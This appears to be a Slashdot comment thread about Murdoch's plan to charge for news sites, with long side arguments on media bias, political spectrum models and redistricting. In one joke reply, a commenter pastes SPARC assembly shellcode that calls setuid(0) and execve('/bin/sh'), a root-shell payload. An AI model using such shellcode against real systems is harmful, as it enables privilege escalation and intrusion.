I presume that all politics are based on a circular system, where you have left and right on each side, moderates in between on one "side" of the center, and the crazy at the other side.

Another circular system would put libertarian "crazies" on one side and authoritarian "crazies" on another. If you put US Democrats on the left, US Republicans on the right, libertarianism on the top, and authoritarianism on the bottom, you end up with the World's Smallest Political Quiz in polar coordinates.

Glasses indeed

[weston]

Dan Rather: "Fake but accurate."

A pithy summary for a document that no one for a moment disputed was false based on its contents.

You're just another shill who has a bent, nothing more and nothing less. Take off the rose colored glasses, and stop pretending that only one part of the media manipulates.

The mainstream broadcast media has their problems, and certainly biases, but nobody else in broadcast media working on an out-and-out agenda at the scale that Fox works.

Re:Glasses indeed

[Totenglocke]

but nobody else in broadcast media working on an out-and-out agenda at the scale that Fox works.

I dunno, CNN normally has a pretty blatant agenda. However, in the last few months they seem to be doing a bit better......perhaps it's because Obama's had so many fuck ups that they knew they couldn't ignore them?

Re:Glasses indeed

[Mashiki]

The mainstream broadcast media has their problems, and certainly biases, but nobody else in broadcast media working on an out-and-out agenda at the scale that Fox works.

They don't? Are you sure you're not confusing opinion with news? Remember two different beasts, and two different things. And yes, CNN has a all out-and-out agenda, so does NBC, so does CBS, and so does ABC. So do all written publications.

The difference is, most people can't figure out what "opinion" is, and what news is. Even when it smacks them in the face. The next person that says, Hannity, O'Rilley, or anything similar are news I'll personally come to your house and teach you about politics, how news organizations work, and how media works in the real world. Then I'll probably smack you into the dirt with a 15 day old trout.

I used to read Foxnews... and OpinionJournal...

[fredjh]

I used to read them along with my other news sites (CNN and other smaller, independent sites), and I just stopped... they f-ed up the formatting and simply made it impossible to read. The few times I've gone back to foxnews it's been like the cover of the sun, it's mandatory there's some skank on the front page.

BTW, I don't think foxnews was any more biased than anyone else... it's funny, IMO, I have a very neutral position, I read a nice variety, and sometimes I see bias, and sometimes I don't; Fox got too tabloid-y, but they weren't any more biased than anyone else. Biased? Yes. More than anyone else? No.

ignore party, vote against incumbents

[Anonymous Coward]

The best choice is to ignore party and always vote (as a group, us here, and anyone we know) against all incumbents. Period. Even if the incumbent is your cousin, or best friend's friend w/ benefits... It's time to impose our own term limits..

Maybe then, we can get some real reform that would limit the control special interest groups hold over our country.

If you're serious about changing the status quo, ignore party and boot all the crooks out. There's no such thing as a good career politician. One term, then go get a real job.

Re:ignore party, vote against incumbents

[Shakrai]

One term, then go get a real job.

Best. Idea. Ever.

Re:ignore party, vote against incumbents

[blackraven14250]

I like that idea, except that if (and this is probably about right) 60% of politicians are in the hands of big business, and 40% are in the hands of the people, we're gonna end up at the same fucking place in the end.

Re:ignore party, vote against incumbents

[Shakrai]

The idea is that they'd have a harder time winding up in the hands of "big business" (whatever that means.... you should have just said special interests because "big business" is not the only or even the biggest problem) if they aren't needing to perpetually raise funds for re-election.

Re:As opposed to sheep reading left wing echo?

[zippthorne]

Murdoch is pretty far to the left, foxnews is a surprising anomaly considering previous statements made by him.

Thank God!

[celtic_hackr]

I get all my news from /.

There someone had to say it!

Kharma whoring, or what?

Re:This is a good thing

[Dragonslicer]

Anything that reduces the number of sheep reading right wing echo chambers can only help America.

Anything that reduces the number of sheep reading extremist echo chambers can only help America. As with pretty much any argument or debate, all sides have their fair share of very loud, extremist whackjobs who, despite being a very small portion of the population, manage to make the calm, rational people on all sides look bad.

I'm not sure I get the joke

[weston]

HAHAHAHAHAHAHAH

http://www.nytimes.com/2009/02/03/world/americas/03iht-journalists.1.19890938.html

Perhaps you could explain the point here.

Is there evidence that the journalists referenced in the article in any way distorted facts during the election?

If not, and they were simply pro-Obama, is their evidence or even a good argument that their support was based in zombie-like fervor rather than studied consideration?

Similarly, is there evidence that their decision to enter public service after the election wasn't

Finally, what evidence exists that these journalists represent a critical mass of journalists as a whole?

Re:I'm not sure I get the joke

[Archangel Michael]

Everyone has bias, and it shows up in all reporting. Selecting which facts one chooses to look at and highlight and which ones you don't is in fact biased.

It would be fairly easy to simply promote all the "good" legislation one has authored, sponsored and voted on, while ignoring all the dubious ties to shady characters and claim that the reporting was "accurate".

What I find amazing is that people are so willing to ignore facts that don't suit their views, and call places like Fox News names Faux News because the bias of reporting is slanted in a different direction.

Me personally, I would MUCH rather have people freely admit that they have a "tingly feeling running down their leg" when commenting and reporting, because then at least I know what kind of facts they might be ignoring.

Nobody is unbiased, and nobody's reporting is unbiased. Pretending you are unbiased in your reporting is just a lie.

Here is a quick test, how many reports filed by these people had a strong critical look at Chicago Politics and the dubious connections between Obama and many of those in that scene?

Beware of the Political Media Complex, as you are of the Military Industrial complex. Neither is good for our country.

Meet the new boss, same as the old boss.

I assume everyone is intellegent..

[msimm]

Unless they are driving. Or have different opinions then me.

Re:I assume everyone is intellegent..

[Anonymous Coward]

My opinion: different opinions than me

than I????

Since Fox News is no News - No Problem

[gadlaw]

Fox News is to News what Professional Wrestling is to Sports so good luck with that Rupert. Hopefully the next owner of foxnews will have a nice site dealing with news about Foxes.

Re:Since Fox News is no News - No Problem

[Neferkara]

Fox News is to News what Professional Wrestling is to Sports so good luck with that Rupert. Hopefully the next owner of foxnews will have a nice site dealing with news about Foxes.

I almost hate to point this out, but have you ever seen how many people pay money to see wrestling?

Re:This is a good thing

[FudRucker]

its more like a white fishing boat and a black fishing boat on a sea of gray using just the right lies and deceptions as bait to catch the most fish/votes then when they get in office they toss the stinky fish overboard because they can not have something like stinky little fishes mucking up the plans that the bigger corporate lobbyists & special interests that bought the boats in the first place, so it does not really matter who gets elected the rich & powerful get what they want anyway while the politicians get the celebrity status and their scooby snacks...

Voting

The_Owners_of_This_Country

Re:As opposed to sheep reading left wing echo?

[RiotingPacifist]

Murdoch doesn't give a shit, it just happens that a lot of idiots buy into nationalistic sensationalism, so he sells them what they want. In the UK the sun isn't too bad compared to the mail and is more left wing than the telegraph, the (london) times and thelondonpaper arn't particularity bad either. Over here the colbert report goes out on fx, so the idea that murdoch and his nth wife sit down and tell fox news to spread right wing bullshit is pretty dumb, he just sells "news" to the lowest common denominator, he doesn't really care who's in power he's fucking loaded anyway!

Rupert Naturalized by an act of congress?

[1 a bee]

I have read and heard here and there that Rupert was naturalized by an act of Congress. If true, can anyone cite the act?

--
Tangential discussions tend to go offtopic. So what.

Re:Rupert Naturalized by an act of congress?

[MichaelSmith]

I have read and heard here and there that Rupert was naturalized by an act of Congress. If true, can anyone cite the act?

-- Tangential discussions tend to go offtopic. So what.

I don't want to encourage any move which could result in Murdoch returning to Australia. BTW do you type your sig into every post?

Re:This is a good thing

[RiotingPacifist]

Hey, just because you voted republican doesn't mean you can expect a black man to come over and sort out your mess for free!

1-dimensional America misses point.

[mjwx]

I think my point may have missed you: The United States is the country with a "grey area". Politics lies on a line from left to right, just as "grey areas" lie on a line from black to white. Did you mean "colored area", or perhaps "coloured area"?

You failed to get my point that US politics is so polarised that one side cannot even contemplate the views of the other. In British parliament systems an act known as "crossing the floor" used to be commonplace. Crossing the floor was to change allegiance to the other party by literally crossing across the parliament chambers to the other parties bench.

Churchill did this twice in his career, "to rat and then to re-rat" in his words. I cant see Hillary Clinton or Mike Huckabee switching sides once, let alone twice. US Politicians don't seem capable of changing their perceptions, even when confronted with overwhelming evidence and this is often reflected in many "voters" here on ./.

In Australia we have two main political parties, Liberal and Labour. Neither of these parties can be described as "left" or "right" as both have a small segment from both the extreme left and extreme right thus the parties as a whole exists across the entire left/right spectrum. This results in one party making right decisions on one topic (business) and left decisions on a different topic (education).

Also Politics it two dimensional, Socialist (left), Capitalist (right) Authoritarian (up) and Liberal (down). All political entities have an X and a Y coordinate on the political compass.

Re:1-dimensional America misses point.

[oldhack]

"Also Politics it two dimensional, Socialist (left), Capitalist (right) Authoritarian (up) and Liberal (down). All political entities have an X and a Y coordinate on the political compass."

That's a naive political science nonsense. There are as many dimensions to human politics as there are human issues.

Re:1-dimensional America misses point.

[Garrett Fox]

The "Political Compass" is a better description of politics than "left and right", but it's still badly flawed. It seems to pick an arbitrary scale and center, such that that Web site can't identify one politician who has ever occupied the "true center". If the range is supposed to represent the theoretical limits of political positions, "The timeless universal centre." Logically, wouldn't that mean something like totally enslaving 50% of the population, or enslaving all of the people for half their time? Instead the chart picks some weird, apparently arbitrary center point that makes Obama a "rightist", and declares that that is the One True Center.

Re:1-dimensional America misses point.

[Sinterklaas]

Also Politics is two dimensional: Socialist (left), Capitalist (right) Authoritarian (up) and Liberal (down).

There are more dimensions than that, such as:
- Environmentalism vs Cornucopia
- Fiscal conservative vs Big spender
- Multi-cultural vs Single-cultural
- Populism vs Elitism
- Small government vs Big government
- Egalitarian vs Social hierarchy
- Pacifism vs Warmongering
- Isolationism vs Globalism

While certain combinations are much more likely, pretty much any combination is possible. For instance, there are capitalist environmentalists, socialists that are against a multi-cultural society, liberals who are elitist since they want strong limits on democracy (like a powerful constitution) to prevent authoritarians from making laws they don't like, people who want small government and big spending/tax cuts, etc.

Unfortunately, due to the archaic political system in the US, there are only two viable political parties and most combinations do not have a corresponding political party. The result is that many Americans are not even aware that there are more possibilities than those reflected by the Democratic and Republican party.

Re:1-dimensional America misses point.

[brkello]

I agree. If you change your mind, the opposing party here in the U.S. will say you flip flop and can't make strong decisions. Graduating from an ivy league school and getting good grades makes you an elitist. It is this anti-intellectualism that is going on in my country that really scares the crap out of me. We currently are having town hall meetings to debate national health care and one party is just screaming all through it so that people can't actually discuss anything.

Re:1-dimensional America misses point.

[Chris Burke]

the claims from Limbaugh and his ilk that she's some kind of raging liberal fanatic are really just poorly masked sexism.

I'm not going to defend Limbaugh from an accusation of sexism. However Limbaugh and his ilk claim every prominent Democrat is a raging liberal fanatic. Every Democratic candidate for President is "the most liberal candidate EVAR!" It's just a standard smear designed to take advantage of a demographic who thinks "liberal" is a dirty word and who will be appropriately terrified of "the most liberal" and really has nothing to do with the individual in question, other than that they're a Democrat who Rush thinks needs to be taken down.

Finish your damn movie already!

[XanC]

Crimeny.

Re:This is a good thing

[Sleepy]

At least Obama is looking to rebuild America with that money, and he's guided by a cabinet that's not all from ONE STATE.

Re:This is a good thing

[sumdumass]

I generally push the idea that it isn't the duty of our elected leaders to do what the people want. Their duty is to their office and what it covers which also covers but isn't limited to the people or what the people want.

However, as it has become more and more apparent that they are doing neither and just protecting their own futures, I don't think I can disagree with the sentiment of what you have said. I especially agree with a government arguing among itself. Some of our most productive and profitable years in recent times was when the congress had to jettison it's more extreme wings of the parties and find a way to cooperate with the administration in order to get any objective done. I'm all for a republican majority in the house and senate and a democrat president or vice verse.

As for the third parties. Sadly this will never be a reality because they do not want it to be. There are a few problems they refuse to tackle. One is where they main body of ideas are so similar to existing party lines that it is impossible to tell the differences except for a small few of them. Then when the major parties see the popularity of them, they simple adopt it as their own leaving the third party with no credit for the ideas. The second is that the major parties have the grass roots infrastructure in place from the local community up to the higher levels of politics. The third parties seem to not be interested in playing that role. This present a very uncomfortable view that people who are unfamiliar with the parties will not vote for them. They instead will vote for who they are comfortable with, the democrats or republicans who govern their country board or state governments. They know where the differences are with them on a local level which isn't always left and right.

With third parties and this approach, you have two main problems. The first is as I said, people won't trust them and see much of a difference outside a few major points that will likely be absorbed by one if not both of the major parties and more importantly, that any elected leader will need the support of other members of the same parties to work their agenda though. Carter found this out when his absolute failure as a president came from the lack of support of his own party who dominated both houses of congress at the time. Further more, in the house and senate where seniority seems to be in charge of the positions of power, without a support of fellow party members, there is no reason for the major parties to cooperate with the third parties.

Until they get a grass roots effort going with local and intermediate politicians in place, their chances of changing anything are slim to none unless you count making a position popular enough that another part picks it up and puts their spin on it.

No single business plan.

[pavon]

What is utterly mind boggling about this announcement is that it is being applied uniformly across a huge spectrum of publications with wildly different readerships and usage patterns. I understand the desire and need to find the ways to monetize news investigation, reporting, analysis and gossip, and concede that they way things are being done now may not be the best. But does Murdoch really believe that what works for Wall Street Journal the will work for The Sun?

Seriously. The "blogosphere" may not create much usefull content in and of itself but it is an increadable tool for redirecting visitors to content and for providing discussion on that content. If you setup a paywall, you block yourself out of that market and the ad revenue it generates. For some publications it probably won't matter. For those that thrive on discussion and gossip it will matter dearly. If Murdoch can't understand the difference then he needs to retire.

I promise

[rhinokitty]

I promise these are all my real hand typed ha has and not just cut and pasted. ahh hahaa hhaaa hahahaha. ha ha ha. HA HA HA. HAHAHHAHAHHAHAHAHAHHAHAHAHHAHAHAHAAAAAAAAAAAAAAAAAAA,

Breath.

HAHAHAHAHHAHHAHAHAAAAAA HHHAA HHHAAA HA AHA HA HA ha ha ha. Ok, caps. Sorry.

Ha. Ha. Ha. Ha. Ha. Ha. The proper grammar, spelling and punctuation ha.

"Ha." The scare quote ha.

Ha, ha, ha, ha, huh, ha ha. Realli?

hahhhaahahah ahaha ahhhaahahah ahhahahahah ahaha ha ha ha ha haaaaa!!!!!!!!!!!!! ha !

Jesus, whew. Really, no. Seriously. He didn't. Really? HA! HAAAA. I wish there were bigger caps-ha.

Oh my god. Its the interupted sentan-HA!

Wtf?

All I can say is. Ha.

Specter the Defector

[tepples]

You failed to get my point that US politics is so polarised that one side cannot even contemplate the views of the other.

Now I understand: the paint program analogy is "threshold" or "posterize, 2 levels".

In British parliament systems an act known as "crossing the floor" used to be commonplace. Crossing the floor was to change allegiance to the other party by literally crossing across the parliament chambers to the other parties bench.

In U.S. legislatures, there's crossing the aisle, and then there's Specter the Defector.

Also Politics it two dimensional, Socialist (left), Capitalist (right) Authoritarian (up) and Liberal (down).

I've seen the compass with authoritarian on the bottom, but I get your point.

All political entities have an X and a Y coordinate on the political compass.

Two dimensions would be better represented by a U-V color plane than by "black", "white", and "gray".

Re:Specter the Defector

[mjwx]

Two dimensions would be better represented by a U-V color plane than by "black", "white", and "gray".

I see your point about the colour plane, but also I'm a fan of keeping it simple. The idea behind "the world is grey" is that it is all shades of grey between white and black rather then a single shade.

Re:Specter the Defector

[techno-vampire]

There's another two-dimensional representation that was devised by Jerry Pournelle. One axis goes from people who try to persuade by reason alone to those who depend on pure emotion. The other shows how much the party is interested in change for its own sake. Thus, Libertarians depend on logic ("Just listen to us and you'll see that we're right.") while the nazis moved the masses with appeals to emotion, but they both wanted considerable change.

How can he not understand ad support?

[roc97007]

How can a newspaper mogul not understand about ad supported content? Most of the cost of a newspaper is ads. You really think fifty cents a copy pays for content, printing and distribution?

Similarly how can he not understand about supply and demand? His competitors are not other newspapers who try to adopt the same business model. His competitors are the free, ad-supported news services. On a level playing field, they'll eat him alive.

I can't believe he's this stupid, so he must think he has an ace up his sleeve. And the only ace I can think of in this case is government intervention.

Re:How can he not understand ad support?

[cfa22]

His ace is that he can potentially charge less for advertising if he gets loyal Fox viewers/readers to subscribe. Advertising revenues are down, and advertisers are looking for better deals.

Re:How can he not understand ad support?

[roc97007]

Understood, but if he's any kind of businessman at all, he'd realize that (a) ad revenues are down because readership is down, and (b) his competition is completely ad supported. It's suicide.

Re:How can he not understand ad support?

[roc97007]

You misunderstand my point. He thinks he can charge end users for content. His competition for web based news is ad supported, with no direct end user cost. Charging end users for content clearly puts him in a bad competitive position.

He must understand the ad supported model, because that's what supports most of the cost of any brick-and-mortar newspaper. So it's odd that he thinks he can compete on a subscription based model.

Re:How can he not understand ad support?

[Carnildo]

How can a newspaper mogul not understand about ad supported content? Most of the cost of a newspaper is ads. You really think fifty cents a copy pays for content, printing and distribution?

The income of a traditional print newspaper is split about equally between ads, classifieds, and cover price.

For an online paper, you can't charge the reader, Craigslist kills your classified section, and ads pay about a tenth of what they do in print. Where's your income going to come from?

Re:How can he not understand ad support?

[roc97007]

> For an online paper, you can't charge the reader, Craigslist kills your classified section, and ads pay about a tenth of what they do in print.

All these things are true.

> Where's your income going to come from?

That's an excellent question. IANAM (I am not a mogul), but two answers occur to me. It's possible that (1) Your income comes from nowhere; you just fold. There's just no money in the business anymore. You made buggy whips, so sad, find another line of work. Or perhaps, (2) There's a lot less money to be made, but your costs are down considerably, to wit: you don't have to print and distribute a physical newspaper anymore. Have you seen the machinery, raw materials, logistics, infrastructure, and personnel it takes to print and distribute a paper every day? With an online product, most of that goes away. Enough, perhaps, that the small fraction you make with an ad-supported website will still be enough for publishing overhead and a tidy profit. Or perhaps not. But charging for a product that your competitors are not charging for, and on top of that, at a time when the credibility of traditional outlets is down, and in a down economy fer crissake, is suicide. Unless the government shoulders part of the burden, or "levels" the playing field in some other fashion.

Re:How can he not understand ad support?

[cfa22]

Ad revenues are also down because advertisers want to spend less, and they to some extent want to spend more wisely on targeted advertising. Murdoch and profile and package his subscriber base so potential advertisers can better target them, plus he could offset ad fees using subscription revenue. Free outlets (his competition) can do neither of these. It's a question of whether he can make himself attractive to advertisers who don't want to shell out the money to advertise on CNN.com or nytimes.com. If he can argue he'll round up more hits per ad dollar spent than will his competitors, he's got a chance.

Re:This is a good thing

[ae1294]

But, BHO is more of an Russian type Socialist than an German type Socialist.

My helpful statement is still extremely imperfect as you pointed out. But those who attempt to toss around absolutes are bond to fail, including myself...

Re:As opposed to sheep reading left wing echo?

[Flere Imsaho]

People who generalise suck.

Oh, wait...

Godwin

[Anonymous Coward]

Well, it was a nice thread while it lasted.

Re:Godwin

[ae1294]

Well, it was a nice thread while it lasted.

I truely am sorry but they made me do it. I had no choice in the mater at all, I was just following orders... /facepalm

Re:Godwin

[ae1294]

Just be thankful that I did not feel that 'Rule 34' needed to apply to this thread... Best we just move along, honestly I think that would be best...

stop it!

[SendBot]

you're making me hungry for mutton chops

Re:stop it!

[ae1294]

Hey! are you related to sendmail? Do you think you can give him a message for me???

Re:stop it!

[SendBot]

hahaha... I picked my username in high school right after I'd read the non-reference half of the oreilly sendmail bat book (2nd edition) in two days. I figured at that point sendmail and I were well acquainted.

One day I started using postfix and never looked back, but now at least I'm proficient with apache mod_rewrite.

Re:stop it!

[ae1294]

O darn I wanted to see what he thought about this. O well..

execsh: xor %sp, %sp, %o0 ! %o0 = 0;
mov 23, %g1
ta 8 ! setuid(0);
set 0x2f62696e, %l0 ! (void *)
sh = '/bin';
set 0x2f736800, %l1 ! (void *)
sh + 4 = '/sh0';
sub %sp, 16, %o0 ! %o0 = '/bin/sh';
sub %sp, 8, %o1 ! %o1 = {'/bin/sh', NULL};
xor %sp, %sp, %o2 ! %o2 = NULL;
std %l0, [%sp - 16]
st %o0, [%sp - 8] ! argv[0] = sh;
st %g0, [%sp - 4] ! argv[1] = NULL;
mov 59, %g1
ta 8 ! execve(sh, argv, NULL);
xor %sp, %sp, %o0 ! %o0 = 0;
mov 1, %g1
ta 8 ! exit(0)

Murdoch is no fool

[NewsWatcher]

It seems a lot of people here think Rupert Murdoch is an idiot. He isn't.
News Corp has deep pockets and a wealth of profit-making websites.
He understands it would be suicide for his readership of his newspapers if he charged for access, but rivals didn't.
It would be a slightly slower suicide if he charged nothing at all.
So perhaps his plan is this:
1. Charge for access to all his news sites.
2. Encourage rivals to charge also (it has been already flagged that newspapers are willing to work as a bloc on this issue).
3. Watch while readership plunges at all newspaper websites following the introduction of pay-per-view.
4. Hold out until his major rivals are all broke.
5. Maintain a cost for viewing online publications
6. Close down newspaper print editions as readers migrate to paying for content online
7. Scoop up profits and increase influence

Re:Murdoch is no fool

[GumphMaster]

Let me fix that for you:

2. Encourage rivals to charge also (it has been already flagged that newspapers are willing to work as a bloc^H^H^H^Hcartel on this issue).

Need to be careful of all sorts of legislation if you start organising these sorts of shennanighans

Re:Murdoch is no fool

[HetMes]

Maybe not, and people will simply realize: "Hey, 98% of the news doesn't concern me, might as well skip the extra 2% as well and go back to listening to the radio."

Having had access to loads of free movies... I mean mus... d'oh... news for years, people are not going to pay all of a sudden. I may cost only 2 cents to print a newspaper, but people will pay the extra dollar to have it, even though it has all the drawbacks of the old media.

Re:Murdoch is no fool

[arkhan_jg]

It seems a lot of people here think Rupert Murdoch is an idiot. He is.
News Corp has deep pockets and a wealth of profit-making websites.
He understands it would be suicide for his readership of his newspapers if he charged for access, but rivals didn't.
It would be a slightly slower suicide if he charged nothing at all.
So perhaps his plan is this:
1. Charge for access to all his news sites.
2. Encourage rivals to charge also (it has been already flagged that newspapers are willing to work as a bloc on this issue).
3. Watch while readership plunges at all newspaper websites following the introduction of pay-per-view.
4. Hold out until his major rivals are all broke.
5. Watch as all his former readers turn to non-newspaper backed news aggregators
6. Maintain a cost for viewing online publications
7. Close down newspaper print editions as readership continues to plumet
8. Go bust as nobody needs to pay for news online from News International.

FTFY.

Re:Murdoch is no fool

[turing_m]

It seems a lot of people here think Rupert Murdoch is an idiot. He isn't.

At least a few people on here seem to think that we are going to see incredible business strategy from a 78 year old (even if his name is Rupert Murdoch). We aren't.

Re:Murdoch is no fool

[Fizzol]

I'll go back to watching the news on that tv-box-thing before I'll pay Murdoch a bloody red cent.

Re:Murdoch is no fool

[gsslay]

Abso-bloody-lutely on all the above points. Murdoch is ruthless and, according to your viewpoint, evil personified. But he is certainly not stupid. This is not blind 'suicide', this is a plan.

I see this more as one of the big boys signalling to the rest of the print media that it's time to start charging. Many of the media corps won't take much persuading to do this. If they all do then I suspect it'll have an impact everywhere. Whether it'll change anything in the long term remains to be seen, but you can be sure that things will change and it won't be the killing of News Corp.

Re:Murdoch is no fool

[Abcd1234]

2. Encourage rivals to charge also (it has been already flagged that newspapers are willing to work as a bloc on this issue).

I find this particularly interesting. Last I checked, if a large portion of an industry gets together and agrees on minimum pricing (in this case >0), that's called "collusion", and it's very much illegal.

So why are newspapers seemingly getting a free pass?

Re:Murdoch is no fool

[dotun.o]

Exactly! I'm glad I'm not the only one that saw this! It WILL work when other print media adopt the same model. While news sources generally break into the CNN-FOX divide, BOTH sides nonetheless need to be profitable. It's a question of the industry coming together to adopt a new model universally.

Let's face it realistically:

- News print is waning (whether it will totally die, I do not know). The news companies will need to survive somehow.
- If online is the greatest threat to print (and is obviously the future wave which cannot be stifled out of existence), then the logical progression is to move the business model to online.
- The ad-supported model will probably not be enough to sustain these companies (even if you didn't factor in their greed, it's probably still not a sustainable model for large corporations)

I know this may be a shocking prospect for Netfolk, especially those who believe the world is obliged to give them everything free, but it is bound to become the new model. I disagree that everything should be charged - perhaps some basic level can be free. In cases like this, I always refer to COMODO Security's model of giving their tools free for home use, and supporting their business by selling a commercial model to enterprise.

Let's face it, if things we physically paid for move online, we would eventually start paying for them online. E-books, software purchases, iTunes, etc. The cost should be less, since part of the manufacturing process is thereby eliminated, but it cannot be free through and through.

And blogs, many of whom are prone to posting opinion more than fact, are bound to remain in the sensationalism/ gossip field. Legitimate news sources will still be desired by many.

Of course, Fox itself is not exactly legitimate news source to begin with. I'm really looking at this in terms of news media in whole.

Re:This is a good thing

[ae1294]

Humanitarian bombings or ovens, its the same thing.
Only difference is the method.

Personally, if I was given a choice between the two, I'd go with bombings every time. At least you might have a chance. But you're right, when all is said and done if you're dead it doesn't mater which method was used you're still dead.

Re:This is a good thing

[Shakrai]

I generally push the idea that it isn't the duty of our elected leaders to do what the people want. Their duty is to their office and what it covers which also covers but isn't limited to the people or what the people want.

I feel the same way, particularly with regards to the US Senate. Were it up to me we would repeal the 17th amendment.

As for the third parties. Sadly this will never be a reality because they do not want it to be. There are a few problems they refuse to tackle. One is where they main body of ideas are so similar to existing party lines that it is impossible to tell the differences except for a small few of them. Then when the major parties see the popularity of them, they simple adopt it as their own leaving the third party with no credit for the ideas. The second is that the major parties have the grass roots infrastructure in place from the local community up to the higher levels of politics. The third parties seem to not be interested in playing that role. This present a very uncomfortable view that people who are unfamiliar with the parties will not vote for them. They instead will vote for who they are comfortable with, the democrats or republicans who govern their country board or state governments. They know where the differences are with them on a local level which isn't always left and right.

Yeah, that sounds about right. I do get a kick out of political parties that can't even count one mayor of a decent sized city trying to run for President. Of course part of that is because of our electoral system and I honestly don't know how I'd do that any differently. If nothing else I'd abolish gerrymandering and draw up Congressional districts based on existing political lines (towns/cities/counties/etc), keeping them all as close together as possible in population.

At the very least that would make sure that local issues are better represented in the Congress and give us a larger number of competitive house races. You'll always have some districts (anything in NYC or San Francisco for the left, anything in the plains states/rural areas of the south for the right) that are going to tilt heavily to one side or another but drawing haphazard districts with 2 mile wide corridors that stretch across entire states in order to do it on purpose is an insult to the notion of a Representative Republic.

Re:As opposed to sheep reading left wing echo?

[NewsWatcher]

Murdoch far to the left? That is one of the funniest things I have heard for a while. He is a union-busting arch-conservative and always has been.

What is information worth?

[Mandrel]

I've never met a single person who would be willing to pay even $2 a month for access to a news site.

Yes, news that is sufficiently disposable and generic will struggle to be anything other than ad-supported. This is despite that fact that news really is worth paying for, because it cumulatively helps you understand how the world works, making you a better person. A micropayment system that reflected the a la carte nature of the Web would however be better than the subscription models that reflect the interests of the big media conglomerates.

But other sorts of information and opinion are more valuable, particularly those that relate to helping people choose the most suitable product to buy. The Wall Street Journal is of this type, but so are review sites.

Where users require regular ongoing advice, such a for shares, subscriptions can work, but not when the need is ad-hoc, such as for electronic equipment. Because advertising is unpopular (and hence low-paying), such sites are turning more and more to affiliate sales. But pairing advice and sales does create a conflict of interest for review sites, just as it does for full-service retailers.

It all depends on how much you trust the source. Amazon affiliate income gives Slashdot an incentive to publish positive book reviews, but we all trust Unkie Slash.

Most news is worthless...

[blahplusplus]

... lets face facts. Almost all of the "news" reported on and linked to is not of great value.

Even if people did pay for news this wouldn't ensure anything but rightwing propaganda, almost all news outlets in canada have a rightwing slant to them whenever theirs talks about strikes or unions for instance almost universally are workers painted in a negative light.

News promotes the agenda of the news clients biggest spenders, which is NOT the public at large sorry to say it.

Re:This is a good thing

[techno-vampire]

It's amazing to look at Pelosi and the rest of the far-left partisan nutjobs

Just remember: Nancy Pelosi's district includes San Francisco. Her constituents consider her "middle-of-the-road."

Re:This is a good thing

[SilasMortimer]

Perhaps in this context, it has something to do with not being able to make an omelet without breaking a few eggs. Not all spending is the same. One person can take one hundred dollars and buy groceries for the week, and the other buy a tricked out new radio for their car - would you call it the same?

I know there are those who say that a cut in spending with some tax incentives that would mainly affect the wealthiest subset of citizens (the "trickle down" idea revived). However, I agree with those Democrats and Republicans who would consider it putting Scotch tape on a cracked water pipe. The economy has been at its lowest point since the Great Depression. We can't really expect no pain in the cure, can we?

Obama has been in office for less than a year. Whether he's good or bad at handling our situation will come out in time. Any judgment at this point is premature and likely to be politically motivated.

I like this idea.

[Captian Spazzz]

Anything that kills news corp faster is a good thing.

Re:As opposed to sheep reading left wing echo?

[tapanitarvainen]

Murdoch far to the left? That is one of the funniest things I have heard for a while. He is a union-busting arch-conservative and always has been.

Without disagreeing in substance, I'd like to point out that "conservative" and "left" are not opposites, but orthogonal. In Soviet Union the hardcore communists were conservatives, for example. (Hmm. Maybe not so different after all, if you think about tolerating any unions not under their control...)

Hey, Rupert...

[Anachragnome]

"Freedom of the press belongs to the man who owns one." A. J. Liebling

I guess we know now that Rupert is only interested in the money...

Re:Hey, Rupert...

[lordandmaker]

I guess we know now that Rupert is only interested in the money...

We didn't before?

Re:This is a good thing

[JuzzFunky]

Media mogul billionaires do not become billionaires by investing in only one side of a two-sided political spectrum.

True, they do not become billionaires by investing in one side only, however, once they establish themselves as billionaires they have been known to sink their boot in.

Re:Thank you Jesus

[MemoryDragon]

Haha yes, good comparison. If Jesus lived today Fox news probably constantly would make up stories how bad he is and this evil communist must be brought down by the CIA etc...
And after the cruzification they probably would make a special report day how the world got better once after the death of this communist hippie.

Anyway given the current state of society Jesus probably would have ended in a similar fate. Probably brought down by exactly the same type of people.

Re:This is a good thing

[sumdumass]

I feel the same way, particularly with regards to the US Senate. Were it up to me we would repeal the 17th amendment.

I agree. The 17th amendment has allowed people to largely forget that the role of the federal government wasn't to govern over the states but to be a united front in state actions (as in foreign relations and affairs that traditionally are matters of state which is why the state department deals with foreign affairs instead of the states), resolve dispute between the states, and to provide for the defense of the states. Now people seem to think it's little more then a democracy where the federal government is a way to impose their will onto other states. Of course the purpose of the 17th amendment was to dispel appearances of the lack of democracy.

The problem with Gerrymandering or redistricting is that the basic concepts behind it is real and needed. It's just that it appears to have been hijacked and given a bad name. Populations grow, people move, and so on. This presents a problem every ten years when we count the population in which one congressional district will end up disproportionally representing people over another. It's back to the old taxation without representation ordeal. If district A now has 10 times as many people and district B now has less people, then the people in A are under represented and the people in B are over represented. Changing district borders around is the way to deal with it but there is no way to do so without appearing to be acting in self interests. If you cannot redraw the two districts to equal an acceptable representation between the two, you now have to include several others to maintain even distribution of representations. If you change nothing in the political spectrum of the districts, you are protecting the status quo, if the districts are another political representation, it could be the population has changed enough to warrant it but you are then either benefiting your own party or another party.

It's a necessary but a no win condition. There was a site a while back which used mathematical modeling to redraw district lines as populations moved around. It was able to do so without regard to political objectives but it was impossible to remove the accusations of political biases when the political leanings were examined. This leads me to believe that the impression is more important to some then the actual factors involved. Some people seem to want to set the boundaries in stone which does result in severely under represented populations. For instance, In Ohio, the last time the districts were moved, we had one district with 5 times as many people as the neighboring district and one district that had about one third as many people as the average.

Oh, I can't WAIT to pay for Fox News!

[NicknamesAreStupid]

It sounds almost as good as paying $2,000 for a root canal. I hope they charge 10 cents per word, just like the good old days. And I hope they hire George W. Bush as their news editor and the Taliabanana (not what you think) news team.

Re:As opposed to sheep reading left wing echo?

[HeronBlademaster]

I prefer Robert Lund's parody: "It doesn't really matter if my turkey meat is dark or white..." ... but I'm not really sure how this relates to the topic. I think we're three or four metaphor-steps away from TFA's topic, by now...

Re:As opposed to sheep reading left wing echo?

[Cyberllama]

Perhaps you're not understanding what the "echo chamber" he's referring to here is. Regardless of where you fall on the political spectrum, you have to admit that the left wing is simply not organized enough to have an "echo chamber". Perhaps there's a mini-sort of version of it in the meager media offerings of the left-wing, mostly blogs, but certainly nothing that reaches the public at large and definitely nothing on the scale of Fox News/Talk radio.

Influence Business

[ScottCooperDotNet]

Funny, I thought Rupert was in the Influence Business first, then the Media Biz. He can't be buying right-leaning media outlets only just for profit.

Murdoch has trouble charging for newspapers

[Edmund Blackadder]

